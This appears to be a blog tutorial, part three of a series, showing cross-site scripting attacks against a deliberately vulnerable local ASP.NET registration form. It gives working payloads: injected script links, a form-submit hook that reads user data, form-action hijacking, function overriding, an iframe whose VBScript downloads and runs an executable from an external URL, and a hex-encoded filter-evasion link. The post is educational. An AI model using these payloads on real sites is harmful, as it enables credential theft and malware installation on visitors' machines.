XSS Vectors Exploited

• Download the code

Introduction

This is post #3 on a cross site scripting tutorial. During this post, I examine how to exploit XSS attack vectors in a variety of manners and their consequences. I have decided not to make the code, demonstrable for this entry. The reason being is the code could be used for less than good reasons. However, the code can be downloaded from here and you are free to deploy it and use it as you see fit. I also review the code on this post, feel free to try it out for yourself and also feel free to download and deploy on your local test server. Use of this code for unethical purposes is strictly forbidden and done so without my knowledge or approval. Feel free to follow along.

Series Index

1. Simple Cross Site Scripting
2. Cross Site Scripting Indepth

XSS Attack Vectors & Consequences

There are a number of different attack vectors that I am going to demonstrate & then the consequence of the attack that can be carried out.

Links & Spying

This first example relies on two things, the first is getting the user to actually click the appropriate link on the page, the second relies on the fact that there is an XSS vulnerability which is completely obvious by just viewing the source code of the redirected page. The method that I use to take advantage of the exploit is a little complicated, however the vulnerability itself was rather obvious, I was able to find it with my ZAP proxy, which means all I have to do is set up a link and I am off the races.

Example 1

Here’s the vulnerability:

Request.QueryString["param"];

The rest of my client side form looks like the screen shot below:

As you can see, I’ve got a little registration form, not very pretty which is why I am an engineer and not a UX designer but a little form, you might use for registering someone for something. I am going to attack this form with the following JavaScript.

document.onsubmit = function () {
    alert("Hello " + document.getElementById("m_firstName").value + " I stole your info via Xss");
}

This JavaScript is super simple, and because I was able to get the user to click on it via a link like this:

' <a href="http://localhost:12730/FormSpying.aspx?param=Chris &lt;SCRIPT a='&gt;'
SRC='http://localhost:12730/Spying.js'&gt;&lt;/SCRIPT&gt;">Exploitable Registration Form</a>'

All this JavaScript does is register an event on the form submit. When the user clicks submit/register whatever button, you might have them click my injected JavaScript file, which has injected my event fires, I am able to steal all the information off this form before it’s posted back to the server & the server has a chance to clear it all!

When the user completes the registration, this is what they see:

I added a popup here to demonstrate that my JavaScript was actually reading the form on submission and stealing the information. In a real world attack situation, I would not be so kind as to alert the user I’ve just stolen their information.

The thing I really love about this attack vector, is the injected script doesn’t display any notifications, nor does it even change the welcome message, if you notice even through there is a vulnerability, it still displays a welcome, the user has no idea unless she/he looks at the URL to see if anything is wrong, and even then would ‘Grandma’ even know anything was wrong? When the user submits the form, my injected JavaScript can steal the user name & password, log it somewhere else or submit to a logging web-service. The user completes their registration and they’re none the wiser their account will work, I just happen to have their user name and password & can therefore also access their account any time I wish. Now imagine if you’ve just signed up for online banking? Using that form! Maybe the function I’ve injected won’t be so nice.

Example 2

This example is much like the first - it just uses a different way of stealing the information, so I am not going to re post everything. However, what I do in this second example is inject a different JavaScript file to exploit the XSS vulnerability mentioned in example 1 in a slightly different manner.

document.body.onload = function () {
    document.forms[0].action = "http://localhost:12730/AlerternatePostBack.aspx";
}

What this JavaScript does is wait for the page body to finish loading, as soon as it’s done, the script hooks into the action attribute on the form. I know the page only has 1 form because once I discovered the XSS vulnerability, I viewed the source of the page, therefore I am safe with reference the 0^th element in the forms array. By changing the action, I change the URL that the form once filled out postbacks to.

This example is probably not the greatest exploit for a registration form because unless my UI is very good, I have actually potentially broken the registration flow. While I’ve succeeded in stealing the information, it’s more likely that the user will be wise to something going on. I’ll leave it to your imagination to figure out where an XSS attack like this could be a good approach, I can think of a few….

Function Overloading

Function overloading is a very popular concept in most compiled programming languages, it allows one to extend functionality, create more useful libraries and improves the ability for a person to do their job. Unfortunately, it can also lead to potential XSS vulnerabilities if we’re not careful. I am again going to exploit the same vulnerability highlighted in examples 1 & 2, and not post everything for the sake of brevity. A quick reminder that the vulnerability looks like this:

Request.QueryString["param"]

Consider also on this page, I load up some JavaScript in a common way.

and my Safe.js file looks like:

function DisplayMessage() {
    alert("Called from Safe Javascript");
}

Lastly, I consume this functionality like:

OnClientClick="DisplayMessage();

I exploit this functionality with a link like.

'  <a href="http://localhost:12730/MultipleLoadJS.aspx?param=Chris &lt;SCRIPT a='&gt;'
SRC='http://localhost:12730/UnSafe.js'&gt;&lt;/SCRIPT&gt; ">Exploit through loaded javascript</a>'

This is pretty straight forward. I do some client side events & processing before posting back to the server. I cannot change the ASPX code, because that comes from the server and it wouldn’t do me a lot of good to do so. Because of the vulnerability that exists on this page, I can write an injectable JavaScript file that looks like:

function DisplayMessage() {
    alert("Called from Safe Unsafe Javascript");
}

Notice what I did there and how I am able to exploit this XSS vulnerability? Due to that JavaScript + HTML & Web work, I am able to create a nasty JavaScript file with my own functions named exactly the same as those on the form. I don’t need to be able to examine the contents of Safe.js, I just merely need to look at what functions the form is calling. I create my own functions named the same thing to do, well pretty much whatever I want. As long as I can be guaranteed that my JavaScript file will be injected & loaded after the one from the server, I can pretty much exploit the XSS vulnerability however I want.

Remote Page Running

This is one of my favourite XSS exploits and the reason is because the attacker has control of what directly gets run in the page. In this particular exploit what I do, is create an IFrame on the page that is being displayed. Once the IFrame is created, I run my page which is going to attack the user from within the IFrame. What the attacking page does is run some VBScript to download a sample malware application. Given that VBScript is a Microsoft technology, I have to rely on Internet Explorer for this exploit. It should be noted, that I was able to achieve this exploit on Windows 8, running Internet Explorer 10. I did have to jump through some hoops by turning off some security settings so Internet Explorer would allow me to run the VBScript. However, the fact that I was successfully able to get it to run means even though Microsoft has worked hard to prevent this type of a situation, it’s still possible for a user to get their machine into a state where this code will run. Because when we think of security, we think of security in depth, we cannot rely solely on Microsoft protecting us from this vulnerability or the fact the user hasn’t reconfigured their settings. Therefore, it’s still important for us as creators of the web to recognize and mitigate this vulnerability in our web code.

The link that allows this vulnerability to exist looks like:

" <a href="http://localhost:12730/iFrame.aspx?param=Chris &lt;SCRIPT a='&gt;'
SRC='http://localhost:12730/IFrame.js'&gt;&lt;/SCRIPT&gt;">Exploit through iFrame</a>"

When the user runs this code, they’re taken to a page that looks like this:

The JavaScript which made this exploit all possible:

document.body.onload = function ()
{
ifrm = document.createElement("IFRAME");
ifrm.setAttribute("src", "http://localhost:12730/LoadedContent.aspx");
ifrm.style.width = 640+"px";
ifrm.style.height = 480+"px";
document.body.appendChild(ifrm);
}

For the sake of brevity, I have not included the full VBScript from LoadedContent.aspx, you can download the source and have a look at it if you wish. However, a key line in it looks like:

sub StartDownload()
        call HTTPDownload("http://exploits.howellsonline.ca/downloads/malware/samplemalware.exe", 
                          "C:\\Temp\\")
        call RunProgram()
        end sub

When StartDownload (On body load) is called, I simply download the samplemaleware.exe application from the above mentioned URL and save it in C:\Temp. This is a real application however, it’s a safe application that just prints some text on the screen but the point is it could be anything. It could have been an EXE that you run regularly or a rogue DLL that has some damaging functionality in it. However, ensuring that DLLs cannot be replaced within our application is another post for another day, this post addresses some of the ways that rogue DLLs can get onto our system.

In Closing

The last example in my XSS demonstration today addresses IFrame vulnerabilities again. It also leads quite nicely into the last post in this series, you might be looking at all the URLS and realize that all of these XSS exploits have been the result of some JavaScript either being passed in as a link, QueryString parameter or some other way, so why not simply filter on all scripts or opening and closing brackets, etc. You would be right that will go a long way towards preventing an XSS attack on your particular site. However, consider the URL in my last example that leads to an XSS vulnerability. It looks like:

'<a href="http://localhost:12730/iFrame.aspx?param=%43%68%72%69%73%20%3C%53%43%52%49%50%54%20%61%3D%27%
3E%27%20%53%52%43%3D%27%68%74%74%70%3A%2F%2F%6C%6F%63%61%6C%68%6F%73%74%3A%31%32%37%33%30%2F%45%6E%63%
6F%64%65%64%4A%61%76%61%73%63%72%69%70%74%2E%6A%73%27%3E%3C%2F%53%43%52%49%50%54%3E ">
Encoded JavaScript</a>'

Notice how the param value on the query string has no mention of Script or anything that would suggest I am about to inject a script into this page. This is simply because I have encoded the value in HEX. Which is a way that attackers look to defeat XSS defense. We’ll look at how to defend against the XSS attack vectors in the last post in this series. In the mean time, you should note that just because I used a query string parameter to demonstrate these exploits, for the sake of convenience, it’s entirely possible that an attacker could use any of the inputs mentioned and discussed in the second post of these series with equally devastating results.

Running the Code

I have not included many screen shots in this post because, you are able to download and run the code directly from here: You can run the code from Visual Studio. I have packaged it as a Visual Studio 2012 solution however it will easily convert to anything. Or you can set it up, under IIS for demonstration purposes. Note depending on your setup that you may have to change the port numbers for the links.

If you have any difficulty getting the source for this post or running it, please do not hesitate to let me know.